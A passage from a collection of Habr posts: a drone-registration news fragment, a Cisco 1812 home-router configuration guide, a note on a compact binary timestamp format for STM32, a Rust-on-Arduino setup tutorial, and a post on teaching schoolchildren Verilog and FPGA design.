state: REGISTERED, DELEGATED
admin-contact:https://www.nic.ru/cgi/whois_webmail.cgi?domain=UAVREG.RU
org: Non profit Assotiation ERBAS
registrar: RU-CENTER-RU
created: 2016.03.10
paid-till: 2017.03.10
source: RU-CENTER`
«Но сама идея создания сайта хорошая и требует рассмотрения. Минтранс России в настоящее время готовит нормативно-правовые акты в развитие закона, который позволит создать условия для развития полетов беспилотной авиации», – заявил собеседник издания.
Не далее, чем неделю назад, [я уже писал о том](https://geektimes.ru/post/273580/), что госдума РФ озаботилась вопросами регулирования воздушного пространства для беспилотных судов, и в прошлом году внесла поправки в Воздушный кодекс, которые, в частности, вводят обязательную регистрацию беспилотников весом более 250 грамм.
Предполагается, что регистрацией БПЛА в России будут заниматься негосударственные организации, но процедуры и правила до сих пор не разработаны и не озвучены. При этом согласно закону, обязательная регистрация летательных аппаратов должна была начаться 1 апреля. | https://habr.com/ru/post/392579/ | null | ru | null |
# Cisco 1812 как домашний роутер
Решил я найти замену своему D-Link DIR-300, т.к. держать качественное соединение с моим новым провайдером по L2TP он упорно отказывался, да и вообще железка морально устарела. Перечитав кучу обзоров домашних маршрутизаторов я понял, что, в принципе, они все одинаковые: с одинаковыми возможностями и скучным web-интерфейсом. А всякие плюшки, вроде внешних накопителей и торрент клиентов, мне и даром не надо. Квартира у меня маленькая, поэтому вариант установки отдельного компа по типу hp micro server не подходит, да и денег жалко.
Так уж сложилось, что живу я во Владивостоке и Япония у нас под боком, есть и неплохой, японский же, [аукцион](http://injapan.ru) на котором продают все: от комиксов до автомобилей. Есть и раздел с серверным оборудованием, на котором я и начал свои поиски. Т.к. искал не для стойки, а для дома, то интересовало меня что-то вроде cisco 8хх серии. К сожалению таковых не нашлось, зато нашлись в большом количестве и по смешным ценам [cisco 1812](http://www.cisco.com/en/US/products/ps6183/index.html) , но с буквой j, единственное отличие которых от тех, что по ссылке выше — отсутствие wifi модуля. Не долго думая — заказал, через недельку получил.
Итак, что мы имеем:
`Cisco IOS Software, C181X Software (C181X-ADVENTERPRISEK9-M), Version 15.0(1)M, RELEASE SOFTWARE (fc2)
Cisco 1812-J (MPC8500) processor (revision 0x400) with 118784K/12288K bytes of memory.
10 FastEthernet interfaces
1 ISDN Basic Rate interface
1 Virtual Private Network (VPN) Module
62592K bytes of ATA CompactFlash (Read/Write)`
И что хотим получить:
Подключение к обычному домовому провайдеру, с локальными сервисами и L2TP туннелем во внешний мир, компьютера и ноутбука. Удаленное управление маршрутизатором по ssh и доступ на основной домашний компьютер по RDP. А так же dynamic dns.
##### 1. Общие настройки
Для начала подключимся к маршрутизатору через консольный порт (я использую PuTTY) и войдем в привилегированный режим:
`Router>en
Router#`
Первым делом изменим название нашего маршрутизатора на что-нибудь более приятное глазу, чем просто “Router” и добавим ему имя домена (это пригодится при дальнейшей генерации ключа rsa для настройки ssh), так-же добавим адреса dns серверов провайдера:
`Router#conf t
Router(config)#hostname home
home(config)#ip domain-name home.lan
home(config)#ip name-server x.x.x.x
home(config)#ip name-server y.y.y.y`
Далее скажем роутеру шифровать пароли и архивировать конфигурационный файл:
`home(config)#service password-encryption
home(config)#service compress-config`
Теперь создадим пользователя и пароль для удаленного доступа на роутер, пароль для входа в привилегированный режим и настроим локальную аутентификацию и авторизацию:
`home(config)#username yourname secret yourpass
home(config)#enable secret your_enable_pass
home(config)#aaa new-model
home(config)#aaa authentication login default local
home(config)#aaa authorization exec default local`
Осталось сгенерировать ключи, настроить ssh и сконфигурировать виртуальный терминал:
`home(config)#crypto key generate rsa
home(config)#ip ssh version 2
home(config)#line vty 0 4
home(config-line)#exec-timeout 0 0
home(config-line)#transport preferred ssh
home(config-line)#transport input ssh
home(config-line)#exit`
И на этом настройку базовой конфигурации можно считать законченной.
##### 2. LAN
Наш маршрутизатор имеет полноценный управляемый восьми-портовый коммутатор, по умолчанию все его 8 портов находятся в первом VLANе. Можно каждый порт разнести в свой VLAN, но для обычной домашней локалки это совсем не надо, поэтому приступим к конфигурации первого и единственного VLAN:
`home(config)#int vlan 1
home(config-if)#ip address 192.168.0.1 255.255.255.0
home(config-if)#no ip redirects
home(config-if)#no ip unreachables
home(config-if)#no ip proxy-arp
home(config-if)#no cdp enable
home(config-if)#ip nat inside
home(config-if)#load-interval 30
home(config-if)#exit`
В принципе больше ничего и не нужно, т.к. все lan порты по умолчанию в первом vlan, то можно включать в них железо, настраивать адресацию и “локалка” готова. Для ленивых можно настроить еще dhcp сервер на маршрутизаторе:
Убираем адреса которые мы не хотим отдавать по dhcp
`home(config)ip dhcp excluded-address 192.168.0.1 192.168.0.99
Home(config)ip dhcp excluded-address 192.168.0.111 192.168.0.254`
Создаем пул dhcp
`home(config)ip dhcp pool dhcp
home(dhcp-config)#import all
home(dhcp-config)#network 192.168.0.0 255.255.255.0
home(dhcp-config)#default-router 192.168.0.1
home(dhcp-config)#dns-server 192.168.1.1
home(dhcp-config)#domain-name home.lan
home(dhcp-config)#lease infinite`
Теперь можно получать адреса динамически из диапазона 192.168.0.100 — 192.168.0.110
##### 3. WAN
Мой провайдер выпускает в глобальную сеть посредством L2TP с динамическим внешним ip адресом, поэтому будем настраивать сам туннель и при его поднятии системой отсылать полученный ip адрес серверу dyndns.org
Начнем с настроек ddns, т.к. они будут использоваться при создании подключения к провайдеру:
````
home(config)#ip ddns update method dyndns
home(DDNS-update-method)#HTTP
home(DDNS-HTTP)#add http://ddnsuser:ddnspass@members.dyndns.org/nic/update?system=dyndns&hostname=&myip=
```
home(DDNS-HTTP)#end`
Тут есть один момент, дело в том, что в цисках по умолчанию на знак "?" выводится подсказка по командам, а как вы могли заметить, этот символ используется в строке url которая и обновляет ip адрес на dyndns. Поэтому копи-пэйст тут не сработает и придется писать url ручками, а для того чтобы вставить символ "?", перед ним необходимо нажать комбинацию клавиш «CTRL+v» и тогда "?" впечатается без проблем.
Далее сконфигурируем внешний ethernet интерфейс:
`home(config)#interface FastEthernet0
home(config-if)#ip dhcp client update dns
home(config-if)#ip address dhcp
home(config-if)#ip nat outside
home(config-if)#load-interval 30
home(config-if)#end`
В настройках ip адреса интерфейса мы указали dhcp, соответственно наш маршрутизатор будет получать от провайдера адрес для внутренней сети автоматически. Теперь создадим имя класса для нашего туннельного подключения:
`home(config)l2tp-class "class name you like"`
и сконфигурируем pseudowire класс (даже и не знаю как на русский это грамотно перевести):
`home(config)#pseudowire-class "имя класса который создали ранее"
home(config-pw-class)#encapsulation l2tpv2
home(config-pw-class)#protocol l2tpv2 class1
home(config-pw-class)#ip local interface FastEthernet0`
Ну и осталось, собственно создать сам туннельный интерфейс:
`home(config)#int virtual-PPP 1
home(config-if)#ip ddns update hostname your-domain-on-dyndns.org
home(config-if)#ip ddns update dyndns
home(config-if)#ip address negotiated
home(config-if)#ip mtu 1454
home(config-if)#ip nat outside
home(config-if)#no ip virtual-reassembly
home(config-if)#ip tcp adjust-mss 1414
home(config-if)#ppp chap hostname username-from-your-isp
home(config-if)#ppp chap password pass-from-your-isp
home(config-if)#pseudowire x.x.x.x 10 pw-class "имя класса который создали ранее"
home(config-if)#end`
В конфигурации туннеля есть 2 строчки которые вам могут не подойти:
ip mtu 1454 и ip tcp adjust-mss 1414. Без этих параметров данные передаваемые по туннелю [фрагментировались](http://www.cyberguru.ru/networks/protocols/ip-fragmentation.html) и, соответственно, нормально ничего не работало.
По туннелю я не получал «маршрут по умолчанию», поэтому пришлось прописать его вручную:
`home(config)#ip route 0.0.0.0 0.0.0.0 virtual-ppp 1 permanent`
Так же у нас есть еще и локальная сеть провайдера, где нет ограничений по скорости и чтобы в нее попасть надо также прописать несколько маршрутов вручную, у меня это выглядит так:
`home(config)ip route 10.0.0.0 255.0.0.0 FastEthernet0
home(config)ip route 172.16.0.0 255.240.0.0 FastEthernet0`
У вас локальные подсети провайдера скорее всегу будут отличаться, необходимо уточнить у провайдера какие именно он использует.
##### 4. NAT
После приведенных выше настроек, ваш туннель должен подняться и ваш маршрутизатор, теоретически, может бороздить просторы интернета, но мы же хотим в интернет выходить со своего компьютера, а не с маршрутизатора? Для этого необходимо настроить трансляцию адресов (NAT). В конфигурации интерфейсов мы уже прописали некоторые параметры, для того чтобы они (интерфейсы) работали в нужном нам режиме:
ip nat inside на интерфейсе vlan 10 и ip nat outside на интерфейсах FA0 и Virtual-PPP 1.
Осталось настроить сам NAT. Так как у нас фактически два направления наружу (локальная сеть провайдера и сам интернет), то выпускать трафик на эти направления мы будем через разные интерфейсы (FA0 и Vritual-PPP1). Делается это с помощью access-list ов:
Создаем 2 access-list, один для LAN, другой для WAN
`home(config)ip access-list extended LAN
home(config-ext-nacl)#permit ip 192.168.0.0 0.0.0.255 172.16.0.0 0.15.255.255
home(config-ext-nacl)#permit ip 192.168.0.0 0.0.0.255 10.0.0.0 0.255.255.255
home(config-ext-nacl)#exit
home(config)ip access-list extended WAN
home(config-ext-nacl)#permit ip 192.168.0.0 0.0.0.255 any`
и собственно NAT, все что направляется в локалку провайдера пускаем через FA0:
`home(config)ip nat inside source list LAN interface FastEthernet0 overload`
а все остальное — в virtual-ppp1:
`home(config)ip nat inside source list WAN interface Virtual-PPP1 overload`
В принципе на этом все, теперь мы должны с компьютера подключенного к циске, спокойно ходить в интернет. Если нужен RDP на какую-либо машину из вашей локальной сети — пробрасываем, с помощью того-же NAT, порты до этой машины:
`home(config)ip nat inside source static tcp 192.168.0.100 3389 interface Virtual-PPP1 3389`
##### 5. Вместо заключения
Разобрав саму циску я увидел слот для модуля памяти, а так же minipci слот для wifi модуля. С wifi пока не разбирался, но память подошла стандартная от ноутбука на 256Мб SDRAM, и теперь у моего маршрутизатора 384Мб оперативной памяти, что не может не радовать.
 | https://habr.com/ru/post/136342/ | null | ru | null |
# Alternate of Packed-Binary Time Format
The Real-Time Clock (RTC) Calendar Registers in STM32 microcontrollers implemented in Binary Code Decimal format (BCD) i. e., every two digits are represented by one byte (low digit in 0-3 bits and high digit 4-7 bits). At least there are 5 bytes required to store date and time data in a such format. There are cases when memory allocation for time stamp might become critical, e. g., the events log keeping in an extern non-volatile memory IC. Here the memory value for a single event (event serial number, timestamp, event parameters, and its CRC) is fixed and can compose up to 16 bytes. The maximum quantity of the events increasing, and time spent on a single operation reducing (for reserved power sources as supercapacitors and electrolytic capacitors is critical) can be achieved with less memory amount required for the event field.
The most trivial method for a useful memory amount expanding (event parameters) is BCD to binary format timestamp converting (can say Packed-Binary Time Format). For this purpose, the time value from the BCD format has to be converted to the familiar positional numeral system where one second is the minimal time unit. The next step is the countdown time choosing. In this specific case, the 1st January 2001 was accepted.
Figure 1 - Memory fields filled by using the Packed-Binary Time Format with the 16-byte event example
There are the following aspects that should be taken into account when converting BCD to Packed-Binary Time Format:
* leap year (the implementation in C is shown below);
* the number of days depending on the month (the implementation in C with the number of seconds in previous months is shown below).
```
if(((mark_years + 2000) % 4) != 0x00) { // leap year checking
leap_year = 0x00;
}
else {
if(((mark_years + 2000) % 100) != 0x00) {
leap_year = 0x01;
}
else {
if(((mark_years + 2000) % 400) != 0x00) {
leap_year = 0x00;
}
else {
leap_year = 0x01;
}
}
}
```
The Packed-Binary Time Format variable takes the 4 bytes at all and is interpreted as an unsigned long type. As mentioned above the Packed-Binary Time Format variable is the number of seconds that have passed since January 1, 2001 (Monday).
```
for(uint8_t i = 0x01; i < mark_months; i ++) { // сalculation of the number of seconds depending on the number of past months
if(i == 0x01 || i == 0x03 || i == 0x05|| i == 0x07 || i == 0x08 || i == 0x0A) {
sec_in_months += 2678400;
}
else if(i == 0x04 || i == 0x06 || i == 0x09 || i == 0x0B) {
sec_in_months += 2592000;
}
else {
sec_in_months += ((leap_year == 0x01) ? 2505600 : 2419200);
}
}
```
To avoid recalculation need from one format of time to another every time, it`s has meaning to make this operation only once when starting the MCU. And further, the variable that stores the time date in Packed-Binary Time Format increases every second.
In cases where you only need to get the date value, the amount of memory can be reduced up to two bytes.
Advantages of using a Packed-Binary Time Format:
* reducing amount of allocated memory;
* increasing the processing speed when working with the Packed-Binary Time variable;
Drawbacks of using a Packed-Binary Time Format:
* lack of readability in contrast to Binary-Code Decimal time format;
* increasing the CPU overheads for any operations and calculations.
The source code in C is available on [github](https://github.com/mitya1777/stm_fair_library/blob/master/Src/packed_time.c) | https://habr.com/ru/post/653335/ | null | en | null |
# Программируем Arduino Uno на Rust: настраиваем среду и моргаем светодиодом
Кто-то из вас наверняка задавался вопросом: а нельзя ли программировать Arduino на чём-то более современном и удобном? Вот и я задавался. И нашёл Rust (не то, чтобы я о нём не знал). И на нём можно программировать микроконтроллеры AVR и платы Arduino, построенные на них. И здесь я расскажу о том, как настроить среду разработчика на Rust в *Linux*, *GNU Emacs* и *Visual Studio Code* и как запрограммировать *Arduino Uno* на моргание светодиодом.
```
#![no_std]
#![no_main]
use ruduino::Pin;
use ruduino::cores::current::{port};
#[no_mangle]
pub extern fn main() {
port::B5::set_output();
loop {
port::B5::set_high();
ruduino::delay::delay_ms(1000);
port::B5::set_low();
ruduino::delay::delay_ms(1000);
}
}
```
Итак, у нас есть Arduino Uno, компьютер с Ubuntu Linux, GNU Emacs (и/или Visual Studio Code). И мы хотим написать код на Rust, который будет моргать встроенным в плату светодиодом (LED Blink). Но сначала нужно настроить среду разработки. Нам потребуется установить инструментарий Rust, LSP-сервер, настроить GNU Emacs. Также посмотрим как с поддержкой Rust в VS Code.
Устанавливаем Rust
------------------
Точкой входа в мир Rust служит страница на сайте языка <https://www.rust-lang.org/learn/get-started> Здесь мы узнаем, как установить Rust, используя утилиту *rustup*. Здесь же рассказывается, как создать проект и запустить приложение. Установщик создаёт в домашнем каталоге две директории: `.cargo` для инструментария Rust и `.rustup` для служебной информации rustup. Для изучения Rust отдадим предпочтение стабильной версии компилятора, но для установки также доступна ночная сборка.
После установки нам доступны следующие программы:
* `cargo`: менеджер пакетов и проектов на языке Rust
* `cargo-clippy`: инструмент проверки кода на ошибки (линтер)
* `cargo-fmt`: форматирует файлы проекта на Rust, используя rustfmt
* `cargo-miri`: интерпретатор промежуточного кода
* `clippy-driver`: линтер clippy
* `rls`: сервер языка Rust
* `rust-gdb`: отладчик на основе GDB (нужно отдельно установить gdb)
* `rust-lldb`: отладчик на основе LLDB (нужно отдельно установить lldb с llvm)
* `rustc`: компилятор языка Rust
* `rustdoc`: генератор документации проекта на Rust
* `rustfmt`: форматер кода на Rust
* `rustup`: установщик и средство управления инструментами языка Rust
**Предупреждение**: коллеги в комментариях подсказывают, что RLS официально [объявлен устаревшим](https://blog.rust-lang.org/2022/07/01/RLS-deprecation.html), и вместо него должен использоваться [rust-analyzer](https://rust-analyzer.github.io/).
Настраиваем GNU Emacs
---------------------
В качестве основной среды разработки я использую GNU Emacs. Команда Rust разрабатывает официальный пакет для Emacs `rust-mode`. Но есть и аналог интегрированный среды [**Rustic**](https://github.com/brotzeit/rustic). Этот пакет не требует никакой настройки, и из коробки предоставляет массу удобностей. С него и начнём.
Ставим `rustic` обычным образом из репозитория MELPA и прописываем его инициализацию при запуске Emacs в `~/.emacs.d/init.el`:
* если используем пакет `use-package`:
```
(use-package rustic)
```
* если используем стандартный метод подключения пакетов:
```
(require 'rustic)
```
Для создания проекта вызываем команду `rustic-cargo-init`, которая запросит у нас, где создать проект (поэтому сначала заготовьте для него новую пустую директорию). (Команда `rustic-cargo-new`, которая по идее должна также запросить название проекта и создать для него директорию, не сработала.)
При попытке открыть файл на Rust `./hello_rust/src/main.rs` получим ошибку запуска LSP-сервера `rls`. Для более подробной информации заглядывем в буфер `*rls::stderr*` и видим сообщение о том, что `rls` не установлен (хотя команда такая есть). Проверяем в командной строке:
```
rls --version
```
Действительно, та же самая ошибка:
```
error: 'rls' is not installed for the toolchain 'stable-x86_64-unknown-linux-gnu'
To install, run `rustup component add rls`
```
Так и поступим:
```
rustup component add rls
```
Повторяем проверку версии `rls` и теперь получаем то, что нужно:
```
rls 1.41.0 (bf88026 2021-09-07)
```
Закрываем буфер с `main.rs` и снова его открываем: теперь всё хорошо, LSP-сервер запустился, интерфейс редактора изменился.
Для запуска программы вызываем команду `rustic-cargo-run` и ничего не видим: почему-то консольный вывод нашей программы не отображается...
Но можно запустить напрямую в консоли. Для этого откроем её прямо в Emacs: запускаем встроенную оболочку `eshell` и вызываем в открывшейся консоли команду
```
cargo run
```
Теперь наш `Hello, world!` на экране.
### Управление пакетами Cargo в GNU Emacs
Проекты на Rust управляются утилитой *Cargo*, которая конфигурируется файлами в формате [**TOML**](https://ru.wikipedia.org/wiki/TOML) Для работы LSP-клиента GNU Emacs нам потребуется LSP-сервер для TOML [`taplo`](https://github.com/tamasfe/taplo). Установим его:
```
cargo install taplo-lsp
```
Сборка прервалась с ошибкой: не найдена библиотека `openssl`. Установим её:
```
sudo apt install libssl-dev
```
и запустим сборку заново.
И снова ошибка, теперь уже в коде на Rust пакета `taplo-lsp` (все зависимости собрались без вопросов):
```
error[E0599]: no method named `about` found for struct `Arg` in the current scope
```
На это уже был заведён [ишью](https://github.com/tamasfe/taplo/issues/197). Опытные товарищи подсказывают там, что сборку нужно запускать с опцией `--locked`. И это сработало, сервер установился.
```
cargo install --locked taplo-lsp
```
Команда `cargo install` описывается [здесь](https://doc.rust-lang.org/cargo/commands/cargo-install.html). Опция `--locked` требует, чтобы `cargo` не обращался к репозиторию пакетов за свежими версиями. Без этой опции cargo будет обновлять `Cargo.lock`.
После установки LSP-сервера и перезапуска GNU Emacs ничего видимо не изменилось: сообщение о запуске LSP-сервера не появляется, ни в статусе, ни в буфере `*lsp-log*`; никаких новых возможностей к базовой поддержке не добавилось. *Непонятно.*
Настраиваем Visual Studio Code
------------------------------
*Visual Studio Code* последние несколько лет очень популярен среди программистов как легковестная и настраиваемая альтернатива интегрированным средам разработки (IDE). Когда-то и я был его постоянным пользователем, но последние года два я им не пользовался, полностью перейдя на GNU Emacs. Так как мои коллеги и студенты часто отдают ему предпочтение, то буквально совсем недавно я его снова поставил в свой Ubuntu Linux, чтобы разговаривать на общем языке, так сказать. Поэтому сегодня посмотрим, что нам приготовила команда Rust как пользователям Code. Собственно, это расширение с коротким названием [**Rust**](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust). Как и пакет для GNU Emacs расширение для Code базируется на *rls* или *rust-analyzer*.
С отладкой и запуском программы у меня здесь не заладилось. При нажатии на `F5` или `Ctrl-F5` выскакивает сообщение, что расширение для отладки не установлено. И такового, как я понял, нет. В общем, интереса личного у меня к работе в Code нет, ~~поэтому дальше копать, что да как, я не намерен, по крайней мере пока~~.
Спустя некоторое время, после того как я пытался настроить VS Code, на Хабре вышел [пост](https://habr.com/ru/post/645797/) о том, как настроить VS Code для Rust. Отладка в нём таки доступна, но нужно вместо родного расширения установить базирующийся на `rust-analyzer`. Возможно есть смысл использовать оный и в GNU Emacs.
По итогу изучения материала поста вышло следующие:
* [`rust-analyzer`](https://rust-analyzer.github.io/) устанавливать не стал, ни [сервер](https://github.com/rust-analyzer/rust-analyzer), ни [расширение для Code](https://marketplace.visualstudio.com/items?itemName=matklad.rust-analyzer). ~~Как я понял он ещё в разработке, в стабильную поставку ещё не включён. Подождём.~~ После выпуска статьи выяснилось, что RSL объявлен устаревшим, и теперь всё же нужно переходить на rust-analyzer.
* Оказалось, что для отладки кода на Rust `rust-analyzer` и не нужен. Всё работает и со стандартным *RLS*, нужно только:
1. установить в систему **LLDB**:
```
sudo apt install lldb
```
2. установить в Code расширение [**CodeLLDB**](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb)
3. и добавить конфигурацию запуска в Code: воспользовавшись генератором из Code или вручную, создав в директории проекта файл `.vscode/launch.json` со следующим содержанием:
```
{
"configurations": [
{
"type": "lldb",
"request": "launch",
"name": "Launch",
"program": "${workspaceFolder}/target/debug/hello_rust",
"args": [],
"cwd": "${workspaceFolder}"
}
]
}
```
4. установить точку останова в нужном месте кода на Rust и нажать `F5` — отладка запущена.
Дальше всё как обычно.
Стоит заметить, что так мы можем отлаживать код, работающий в среде Linux. Код же запущенный на Arduino так не отладить. Здесь можно посмотреть в сторону Qemu с поддержкой AVR, но там используется `gdb`.
* Для работы с `Cargo.toml` ставим три расширения:
+ [**Even Better TOML**](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml) для редактирования файлов в формате TOML
+ [**crates**](https://marketplace.visualstudio.com/items?itemName=serayuzgur.crates) для редактирования зависимостей: расширение использует [API для поиска пакетов](https://crates.io)
+ [**Crates Completer**](https://marketplace.visualstudio.com/items?itemName=jedeop.crates-completer) для автоподстановки названий пакетов в `Cargo.toml`, также использует [API](https://crates.io)
Ну и, как я писал ранее, для работы с файлами TOML нужно установить LSP-сервер [**Taplo**](https://taplo.tamasfe.dev/).
Настраиваем инструментарий для программирования Arduino Uno
-----------------------------------------------------------
Для программирования контроллеров на базе *AVR* был создан специальный проект [**AVR-Rust**](https://www.avr-rust.com/), одной из задач которого является разработка поддержки AVR в Rust. Также в рамках данного проекта разрабатывается [поддержка *Arduino*](https://github.com/avr-rust/ruduino) и ведётся [список библиотек и проектов](https://github.com/avr-rust/awesome-avr-rust).
Начать изучение *AVR-Rust* лучше всего с [официального руководства](https://book.avr-rust.com/). В разделе ["Installing the compiler"](https://book.avr-rust.com/002-installing-the-compiler.html) описывается, как установить компилятор Rust с поддержкой AVR. Но перед тем как это сделать нужно установить [стороннее ПО, которое потребуется для работы](https://book.avr-rust.com/002.1-installing-required-third-party-tools.html).
В *Ubuntu Linux* нам потребуется установить пакеты `binutils`, `gcc-avr`, `avr-libc` и `avrdude`:
```
sudo apt-get install binutils gcc-avr avr-libc avrdude
```
Далее нужно воспользоваться `rustup` и поставить с его помощью ночную сборку инструментария и исходники Rust:
```
rustup toolchain install nightly
rustup component add rust-src --toolchain nightly
```
Моргаем светодиодом на Arduino Uno
----------------------------------
Наконец разоберёмся с примером моргания встроенным светодиодом Arduino Uno на Rust.
Собственно, пример кода можно найти [здесь](https://book.avr-rust.com/003.3-example-building-blink.html):
```
#![no_std]
#![no_main]
use ruduino::Pin;
use ruduino::cores::current::{port};
#[no_mangle]
pub extern fn main() {
port::B5::set_output();
loop {
port::B5::set_high();
ruduino::delay::delay_ms(1000);
port::B5::set_low();
ruduino::delay::delay_ms(1000);
}
}
```
Действуем строго по инструкции:
```
git clone https://github.com/avr-rust/blink.git
cd blink
rustup override set nightly
export AVR_CPU_FREQUENCY_HZ=16000000
cargo build -Z build-std=core --target avr-atmega328p.json --release
```
~~И получаем ошибку компиляции, которая описана вот в этих ишью:~~
<https://github.com/avr-rust/blink/issues/37> и <https://github.com/avr-rust/delay/issues/10>
~~Проблема решается установкой ночной сборки компилятора годичной давности:~~ (Ишью закрыты по причине исправления бага, так что шаг ниже не понадобится.)
```
rustup toolchain install nightly-2021-01-05
rustup override set nightly-2021-01-05
```
Неайс, конечно: будет установлена версия Rust 1.51.0.
Теперь повторим шаг:
```
cargo build -Z build-std=core --target avr-atmega328p.json --release
```
И снова получим ошибку, только другую и с рекомендацией установить `rust-src`. Давайте поставим:
```
rustup component add rust-src
```
И повторим попытку сборки. Кажется прошло успешно: `target/avr-atmega328p/release/blink.elf` создан. Его размер примерно 9 Кб. Многовато, конечно, при 32 Кб доступной Flash-памяти.
Руководство по прожигу чипа Arduino Uno смотрим [здесь](https://book.avr-rust.com/004-flashing-a-crate-to-chip.html). Будем использовать раннее установленную нами утилиту `avrdude`,
только сначала узнаем порт для опции -P:
* убеждаемся, что устройство успешно подключено:
```
lsusb
```
* смотрим номер порта:
```
sudo dmesg | tail
```
Запускаем прожиг:
```
avrdude -patmega328p -carduino -P/dev/ttyACM0 -b115200 -D -Uflash:w:target/avr-atmega328p/release/blink.elf:e
```
Фух! Всё прошло благополучно, светодиод мигает, **только как-то быстро**. Во flash-память было записано примерно 2 Кб.
В опции `-c` указывается название программатора. Мы используем встроенный в Arduino на базе USB.
Наша Arduino Uno слишком быстро моргает своим светодиодом. И на это уже есть своя [ишью](https://github.com/avr-rust/blink/issues/34). В комментариях к ней рекомендуют добавить опцию сборки:
```
[profile.release]
lto = true
```
Проверяем: работает, моргает в ожидаемом ритме. При этом размер прошивки уменьшился до менее чем 1 Кб. Недурно.
Что делает опция `lto`? Название расшифровывается как **Link Time Optimization**.
Это технология **LLVM** <https://llvm.org/docs/LinkTimeOptimization.html>, которая оптимизирует результирующий код в процессе сборки. Как я понял, при включении этой опции, линкер удаляет из кода неиспользуемые части, за счёт чего наша прошивка и похудела. Вот только непонятно, почему эта опция влияет на правильность работы нашего кода? Ведь этого не должно происходить.
Попробуем другие значения для опции `lto`:
* `false`: образ "жирный", светодиод моргает слишком часто.
* `"thin"`: эффект как при true (она же `"fat"`): размер и ритм такие же.
* `"off"`: при отключённой оптимизации при сборке такой же эффект, как при `false`.
Вот собственно и всё, что я хотел рассказать. Надеюсь, это руководство кому-то поможет стартануть с Rust на Arduino.
Что ещё почитать
----------------
[Интересный пост про программирование на Rust микроконтроллеров семейства PIC32](https://habr.com/ru/company/ruvds/blog/645253/).
© 2022 Симоненко Евгений | https://habr.com/ru/post/686168/ | null | ru | null |
# Уход инженера-электронщика из Apple вызвал волнение среди биржевых спекулянтов. Как стать таким как он?
29 марта инженер по имени Жерард Вильямс Третий ушел из компании Apple. Это известие сразу опубликовал CNET и еще три десятка изданий во всем мире, не только технических, но и финансовых. Что же такого делал этот инженер, что его уход вызвал волнение среди биржевых спекулянтов? Он 9 лет проектировал процессоры в Apple iPhone, до этого 12 лет работал в ARM, до этого проектировал DSP в Texas Instruments, а до этого разрабатывал в Интеле схемы на ПЛИС. Во всех местах он использовал технологию проектирования на уровне регистровых передач, с использованием языков описания аппаратуры Verilog и VHDL.
Примеры поближе к России? На фото справа: 25-летний москвич Илья Неганов взял в 2011 году книжку Харрис & Харрис (последнюю версию которой можно скачать [здесь](http://www.mips.com/downloads/digital-design-and-computer-architecture-russian-edition-second-edition-ver3) или [здесь](http://silicon-russia.com/public_materials/2018_01_15_latest_harris_harris_ru_barabanov_version/digital_design_rus-25.10.2017.pdf)), спроектировал простой процессор, сейчас работает в Apple, проектирует на верилоге GPU, по выходным летает на самолетике. Ниже пара молодоженов из Санкт-Петербурга, которые проектировали на верилоге и ПЛИС обработку изображений из камеры и получили приз на конкурсе Innovate FPGA. Они провели медовый месяц в штаб-квартире Интела в Санта-Кларе. Далее товарищи из Киева, двое из которые выиграли бронзу на европейском финале Innovate FPGA. И наконец два школьника, из 5 и 9 классов, которые делают свои первые упражнения с микросхемами малой степени интеграции на макетной плате, после чего приступают к упражнениям на верилоге и ПЛИС.
Это пять точек на траектории от школьника к Жерарду Вильямсу Третьему. Траектория довольно тяжелая, так как начальный барьер для входа в проектирование цифровых микросхем выше, чем для входа в программирование. В этом посте мы поговорим о том, как облегчить начальный участок траектории для российских и других школьников.
В эти две недели группа коллег из РОСНАНО, Wave Computing, МИЭТ, IVA Technologies, ВШЭ МИЭМ, Амперка, Издательства ДМК-Пресс проводит такое мероприятие: Сначала школьники проходят теоретический онлайн-курс (части [«От транзистора до микросхемы»](https://stemford.org/#course?id=6410690722451343819), [«Логическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344036), [«Физическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344042)), на котором они знакомятся с так называемым маршрутом RTL2GDSII — группой технологий, которые используют инженеры в электронных компаниях для проектирования чипов. Потом мы проводим [практические занятия с микросхемами реконфигурируемой логики ПЛИС](http://bit.ly/nanochip-2019). Таким способом обучает например MIT в курсе 6.111, ну а мы пробуем это в очень базовом виде для школьников олимпиадного типа.
Теоретический курс важен, чтобы не тратить время на практическом курсе на объяснение теории проектирования на уровне регистровых передач, а просто провести три вечера по два часа, играясь с платами ПЛИС, которые можно потом забрать с собой. Также теоретический курс привязывает упражнения с ПЛИС к массовым изделиям, которые используют микросхемы ASIC.
Практический курс будет еще одним экспериментом (предыдущие проводились разными преподавателями в Нижнем Новгороде, Киеве, Алма-Ате, Казахстане, Минске, Новосибирске, Томске и Иркутске), чтобы выяснить, как сделать упражнения с Верилогом и ПЛИС интересными и полезными для начинающих.
Стоит ли перед упражнениями с ПЛИС делать упражнения с микросхемами малой степени интеграции? На этот счет есть разные мнения: Декан Самарского Университета Илья Кудрявцев считает, что не стоит, лучше сразу давать современную технологию 2019 года, а не древние CMOS 4000 на макетной плате, которые были актуальны 50 лет назад. Инженер-проектировщик нейрочипа в IVA Technologies Станислав Жельнио считает, что стоит, так как в противном случае студенты воспринимают ПЛИС как еще один микроконтроллер типа Ардуино, но просто со странным языком программирования Verilog. На самом деле студенту или школьнику стоит сразу четко осознавать, что верилог описывает схему, а не программу (цепочку инструкций), и упражнения с CMOS 4000 помогают поселить в мозгу правильный образ.
Если писать на Верилоге, как будто это программа, а не схема, то код будет работать на симуляторе, но не будет синтезироваться, а если даже будет синтезироваться, то получится безумная (в смысле тайминга или размеров) схема.
Поэтому один из подходов выглядит так: спроектировать схему на микросхемах малой степени интеграции (счетчики, сдвиговые регистры, сумматоры, дешифраторы), потом повторить ее на верилоге, синтезировать и прописать в ПЛИС.
Некоторые говорят: а почему бы не нарисовать схему для ПЛИС мышкой на экране (schematic entry) и ввести ее в ПЛИС перед тем как делать упражнения на верилоге? У подхода с мышкой есть три недостатка:
1. Он требует изучения софтвера, что дольше, чем просто втыкать компоненты в макетную плату.
2. Опыт от перегоревшего светодиода или плавающего входа без подтягивающего резистора на макетной плате — это ценнее, чем стерильный опыт в schematic entry.
3. Дизайнеры цифровой логики не используют schematic entry с начала 1990-х, все пишут на верилоге, иногда на VHDL.
